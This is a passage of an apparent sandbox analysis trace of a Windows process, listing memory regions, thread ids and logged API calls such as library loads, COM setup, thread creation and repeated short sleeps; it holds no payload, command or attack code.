id = 18141 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 18142 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 18143 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 18144 start_va = 0x2270000 end_va = 0x228ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002270000" filename = "" Region: id = 18145 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 18146 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 18147 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 18148 start_va = 0x2270000 end_va = 0x228ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002270000" filename = "" Region: id = 18149 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 18150 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 18151 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 18152 start_va = 0x460000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 18153 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 18154 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 18155 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 18156 start_va = 0x460000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 18157 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 18158 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 18159 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 18160 start_va = 0x460000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 18161 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 18162 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 18163 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 18164 start_va = 0x460000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 18165 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 18166 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 18167 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 18168 start_va = 0x460000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 18169 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 18170 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 18171 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 18172 start_va = 0x460000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 18173 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 18174 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 18175 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 18176 start_va = 0x460000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 18177 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 18178 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 18179 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 18180 start_va = 0x460000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 18181 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 18182 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 18183 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 18184 start_va = 0x460000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 18185 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 18186 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 18187 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 18188 start_va = 0x460000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 18189 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 18190 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 18191 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 18192 start_va = 0x460000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 18193 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 18194 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 18195 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 18196 start_va = 0x460000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 18197 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 18198 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 18199 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 18200 start_va = 0x460000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 18201 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 18202 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 18203 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 18204 start_va = 0x460000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 18205 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 18206 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 18207 start_va = 0x460000 end_va = 0x460fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 18208 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 18209 start_va = 0x460000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 18210 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 18211 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 18212 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 18213 start_va = 0x460000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 18214 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 18215 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 18216 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 18217 start_va = 0x470000 end_va = 0x470fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000470000" filename = "" Region: id = 18218 start_va = 0x9150000 end_va = 0x9249fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000009150000" filename = "" Region: id = 18219 start_va = 0x460000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 18220 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 18221 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 18222 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 18223 start_va = 0x460000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 18224 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 18225 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 18226 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 18227 start_va = 0x460000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 18228 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 18229 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 18230 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 18231 start_va = 0x460000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 18232 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 18233 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 18235 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 18236 start_va = 0x460000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 18237 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 18238 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 18239 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 18240 start_va = 0x460000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 18241 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 18242 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 18243 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 18244 start_va = 0x460000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 18245 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 18246 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 18247 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 18248 start_va = 0x460000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 18249 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 18250 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 18251 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 18252 start_va = 0x460000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 18253 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 18254 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 18255 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 18256 start_va = 0x460000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 18257 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 18258 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 18259 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 18260 start_va = 0x460000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 18261 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 18262 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Thread: id = 5 os_tid = 0xdfc Thread: id = 6 os_tid = 0x914 Thread: id = 7 os_tid = 0xd1c Thread: id = 8 os_tid = 0xc40 Thread: id = 9 os_tid = 0xa98 Thread: id = 10 os_tid = 0x7dc Thread: id = 11 os_tid = 0x764 Thread: id = 12 os_tid = 0x478 Thread: id = 13 os_tid = 0xfb0 Thread: id = 14 os_tid = 0xfa0 Thread: id = 15 os_tid = 0xf6c Thread: id = 16 os_tid = 0xf3c Thread: id = 17 os_tid = 0x4dc Thread: id = 18 os_tid = 0x55c Thread: id = 19 os_tid = 0xbfc Thread: id = 20 os_tid = 0xbf8 Thread: id = 21 os_tid = 0xbf4 Thread: id = 22 os_tid = 0xbe4 Thread: id = 23 os_tid = 0xbe0 Thread: id = 24 os_tid = 0xbb0 Thread: id = 25 os_tid = 0xa9c Thread: id = 26 os_tid = 0x6d0 Thread: id = 27 os_tid = 0x7f8 Thread: id = 28 os_tid = 0x7a4 Thread: id = 29 os_tid = 0x72c Thread: id = 30 os_tid = 0x728 Thread: id = 31 os_tid = 0x724 Thread: id = 32 os_tid = 0x720 Thread: id = 33 os_tid = 0x70c Thread: id = 34 os_tid = 0x6fc Thread: id = 35 os_tid = 0x6ec Thread: id = 36 os_tid = 0x6e8 Thread: id = 37 os_tid = 0x6d0 Thread: id = 38 os_tid = 0x6cc Thread: id = 39 os_tid = 0x6c0 Thread: id = 40 os_tid = 0x6bc Thread: id = 41 os_tid = 0x6ac Thread: id = 42 os_tid = 0x690 Thread: id = 43 os_tid = 0x688 Thread: id = 44 os_tid = 0x684 Thread: id = 45 os_tid = 0x680 Thread: id = 46 os_tid = 0x66c Thread: id = 47 os_tid = 0x654 Thread: id = 48 os_tid = 0x640 Thread: id = 49 os_tid = 0x634 Thread: id = 50 os_tid = 0x61c Thread: id = 51 os_tid = 0x18c Thread: id = 52 os_tid = 0x47c [0107.119] LoadLibraryA (lpLibFileName="NTDLL") returned 0x7ffd504d0000 [0107.122] GetProcAddress (hModule=0x7ffd504d0000, lpProcName="RtlExitUserThread") returned 0x7ffd5052c2a0 [0107.124] RtlCreateHeap (Flags=0x1002, HeapBase=0x0, ReserveSize=0x0, CommitSize=0x0, Lock=0x0, Parameters=0x0) returned 0x9140000 [0110.424] RtlAllocateHeap (HeapHandle=0x9140000, Flags=0x8, Size=0x10) returned 0x9140830 [0110.424] LoadLibraryA (lpLibFileName="user32") returned 0x7ffd4e9d0000 [0110.424] RtlSizeHeap (HeapHandle=0x9140000, Flags=0x0, MemoryPointer=0x9140830) returned 0x10 [0110.434] RtlFreeHeap (HeapHandle=0x9140000, Flags=0x0, BaseAddress=0x9140830) returned 1 [0110.465] RtlAllocateHeap (HeapHandle=0x9140000, Flags=0x8, Size=0x12) returned 0x9140830 [0110.465] LoadLibraryA (lpLibFileName="advapi32") returned 0x7ffd4e480000 [0110.467] RtlSizeHeap (HeapHandle=0x9140000, Flags=0x0, MemoryPointer=0x9140830) returned 0x12 [0110.467] RtlFreeHeap (HeapHandle=0x9140000, Flags=0x0, BaseAddress=0x9140830) returned 1 [0110.467] RtlAllocateHeap (HeapHandle=0x9140000, Flags=0x8, Size=0x10) returned 0x9140830 [0110.467] LoadLibraryA (lpLibFileName="urlmon") returned 0x7ffd41100000 [0110.468] RtlSizeHeap (HeapHandle=0x9140000, Flags=0x0, MemoryPointer=0x9140830) returned 0x10 [0110.468] RtlFreeHeap (HeapHandle=0x9140000, Flags=0x0, BaseAddress=0x9140830) returned 1 [0110.469] RtlAllocateHeap (HeapHandle=0x9140000, Flags=0x8, Size=0xf) returned 0x9140830 [0110.469] LoadLibraryA (lpLibFileName="ole32") returned 0x7ffd50380000 [0110.470] RtlSizeHeap (HeapHandle=0x9140000, Flags=0x0, MemoryPointer=0x9140830) returned 0xf [0110.470] RtlFreeHeap (HeapHandle=0x9140000, Flags=0x0, BaseAddress=0x9140830) returned 1 [0110.470] RtlAllocateHeap (HeapHandle=0x9140000, Flags=0x8, Size=0x11) returned 0x9140830 [0110.470] LoadLibraryA (lpLibFileName="winhttp") returned 0x7ffd46920000 [0110.471] RtlSizeHeap (HeapHandle=0x9140000, Flags=0x0, MemoryPointer=0x9140830) returned 0x11 [0110.471] RtlFreeHeap (HeapHandle=0x9140000, Flags=0x0, BaseAddress=0x9140830) returned 1 [0110.471] RtlAllocateHeap (HeapHandle=0x9140000, Flags=0x8, Size=0x10) returned 0x9140830 [0110.471] LoadLibraryA (lpLibFileName="ws2_32") returned 0x7ffd4e270000 [0110.472] RtlSizeHeap (HeapHandle=0x9140000, Flags=0x0, MemoryPointer=0x9140830) returned 0x10 [0110.472] RtlFreeHeap (HeapHandle=0x9140000, Flags=0x0, BaseAddress=0x9140830) returned 1 [0110.472] RtlAllocateHeap (HeapHandle=0x9140000, Flags=0x8, Size=0x10) returned 0x9140830 [0110.472] LoadLibraryA (lpLibFileName="dnsapi") returned 0x7ffd4b670000 [0110.496] RtlSizeHeap (HeapHandle=0x9140000, Flags=0x0, MemoryPointer=0x9140830) returned 0x10 [0110.496] RtlFreeHeap (HeapHandle=0x9140000, Flags=0x0, BaseAddress=0x9140830) returned 1 [0110.496] RtlAllocateHeap (HeapHandle=0x9140000, Flags=0x8, Size=0x11) returned 0x9140830 [0110.496] LoadLibraryA (lpLibFileName="shell32") returned 0x7ffd4eb30000 [0110.498] RtlSizeHeap (HeapHandle=0x9140000, Flags=0x0, MemoryPointer=0x9140830) returned 0x11 [0110.498] RtlFreeHeap (HeapHandle=0x9140000, Flags=0x0, BaseAddress=0x9140830) returned 1 [0110.499] LoadLibraryA (lpLibFileName="api-ms-win-core-com-l1-1-0") returned 0x7ffd4dc70000 [0110.501] GetProcAddress (hModule=0x7ffd4dc70000, lpProcName="CoInitializeEx") returned 0x7ffd4dcd2c50 [0110.501] LoadLibraryA (lpLibFileName="api-ms-win-core-com-l1-1-0") returned 0x7ffd4dc70000 [0110.502] GetProcAddress (hModule=0x7ffd4dc70000, lpProcName="CoInitializeSecurity") returned 0x7ffd4dca5fe0 [0110.503] LoadLibraryA (lpLibFileName="api-ms-win-core-com-l1-1-0") returned 0x7ffd4dc70000 [0110.504] GetProcAddress (hModule=0x7ffd4dc70000, lpProcName="CoCreateInstance") returned 0x7ffd4dd0fb70 [0110.504] LoadLibraryA (lpLibFileName="api-ms-win-core-com-l1-1-0") returned 0x7ffd4dc70000 [0110.506] GetProcAddress (hModule=0x7ffd4dc70000, lpProcName="CoUninitialize") returned 0x7ffd4dcd1540 [0110.506] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x423ca4, lpParameter=0x410000, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1e90 [0110.507] CloseHandle (hObject=0x1e90) returned 1 [0110.507] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x423d80, lpParameter=0x410000, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1e90 [0110.507] CloseHandle (hObject=0x1e90) returned 1 [0110.507] Sleep (dwMilliseconds=0xa) [0110.688] Sleep (dwMilliseconds=0xa) [0110.702] Sleep (dwMilliseconds=0xa) [0110.814] Sleep (dwMilliseconds=0xa) [0110.824] Sleep (dwMilliseconds=0xa) [0110.835] Sleep (dwMilliseconds=0xa) [0110.846] Sleep (dwMilliseconds=0xa) [0110.856] Sleep (dwMilliseconds=0xa) [0110.925] Sleep (dwMilliseconds=0xa) [0110.936] Sleep (dwMilliseconds=0xa) [0110.946] Sleep (dwMilliseconds=0xa) [0110.957] Sleep (dwMilliseconds=0xa) [0110.967] Sleep (dwMilliseconds=0xa) [0110.989] Sleep (dwMilliseconds=0xa) [0110.999] Sleep (dwMilliseconds=0xa) [0111.011] Sleep (dwMilliseconds=0xa) [0111.022] Sleep (dwMilliseconds=0xa) [0111.074] Sleep (dwMilliseconds=0xa) [0111.084] Sleep (dwMilliseconds=0xa) [0111.095] Sleep (dwMilliseconds=0xa) [0111.193] Sleep (dwMilliseconds=0xa) [0111.203] Sleep (dwMilliseconds=0xa) [0111.214] Sleep (dwMilliseconds=0xa) [0111.332] Sleep (dwMilliseconds=0xa) [0111.343] Sleep (dwMilliseconds=0xa) [0111.353] Sleep (dwMilliseconds=0xa) [0111.392] Sleep (dwMilliseconds=0xa) [0111.403] Sleep (dwMilliseconds=0xa) [0111.413] Sleep (dwMilliseconds=0xa) [0111.424] Sleep (dwMilliseconds=0xa) [0111.505] Sleep (dwMilliseconds=0xa) [0111.559] Sleep (dwMilliseconds=0xa) [0111.594] Sleep (dwMilliseconds=0xa) [0111.700] Sleep (dwMilliseconds=0xa) [0111.747] Sleep (dwMilliseconds=0xa) [0111.853] Sleep (dwMilliseconds=0xa) [0111.887] Sleep (dwMilliseconds=0xa) [0111.928] Sleep (dwMilliseconds=0xa) [0111.939] Sleep (dwMilliseconds=0xa) [0111.950] Sleep (dwMilliseconds=0xa) [0111.960] Sleep (dwMilliseconds=0xa) [0111.971] Sleep (dwMilliseconds=0xa) [0111.986] Sleep (dwMilliseconds=0xa) [0111.997] Sleep (dwMilliseconds=0xa) [0112.008] Sleep (dwMilliseconds=0xa) [0112.018] Sleep (dwMilliseconds=0xa) [0112.097] Sleep (dwMilliseconds=0xa) [0112.108] Sleep (dwMilliseconds=0xa) [0112.119] Sleep (dwMilliseconds=0xa) [0112.228] Sleep (dwMilliseconds=0xa) [0112.251] Sleep (dwMilliseconds=0xa) [0112.371] Sleep (dwMilliseconds=0xa) [0112.382] Sleep (dwMilliseconds=0xa) [0112.395] Sleep (dwMilliseconds=0xa) [0112.464] Sleep (dwMilliseconds=0xa) [0112.475] Sleep (dwMilliseconds=0xa) [0112.486] Sleep (dwMilliseconds=0xa) [0112.496] Sleep (dwMilliseconds=0xa) [0112.507] Sleep (dwMilliseconds=0xa) [0112.517] Sleep (dwMilliseconds=0xa) [0112.528] Sleep (dwMilliseconds=0xa) [0112.539] Sleep (dwMilliseconds=0xa) [0112.549] Sleep (dwMilliseconds=0xa) [0112.560] Sleep (dwMilliseconds=0xa) [0112.592] Sleep (dwMilliseconds=0xa) [0112.603] Sleep (dwMilliseconds=0xa) [0112.613] Sleep (dwMilliseconds=0xa) [0112.725] Sleep (dwMilliseconds=0xa) [0112.736] Sleep (dwMilliseconds=0xa) [0112.747] Sleep (dwMilliseconds=0xa) [0112.848] Sleep (dwMilliseconds=0xa) [0112.859] Sleep (dwMilliseconds=0xa) [0112.870] Sleep (dwMilliseconds=0xa) [0112.971] Sleep (dwMilliseconds=0xa) [0112.986] Sleep (dwMilliseconds=0xa) [0112.996] Sleep (dwMilliseconds=0xa) [0113.007] Sleep (dwMilliseconds=0xa) [0113.052] Sleep (dwMilliseconds=0xa) [0113.063] Sleep (dwMilliseconds=0xa) [0113.073] Sleep (dwMilliseconds=0xa) [0113.084] Sleep (dwMilliseconds=0xa) [0113.094] Sleep (dwMilliseconds=0xa) [0113.105] Sleep (dwMilliseconds=0xa) [0113.115] Sleep (dwMilliseconds=0xa) [0113.126] Sleep (dwMilliseconds=0xa) [0113.137] Sleep (dwMilliseconds=0xa) [0113.149] Sleep (dwMilliseconds=0xa) [0113.254] Sleep (dwMilliseconds=0xa) [0113.264] Sleep (dwMilliseconds=0xa) [0113.275] Sleep (dwMilliseconds=0xa) [0113.539] Sleep (dwMilliseconds=0xa) [0113.549] Sleep 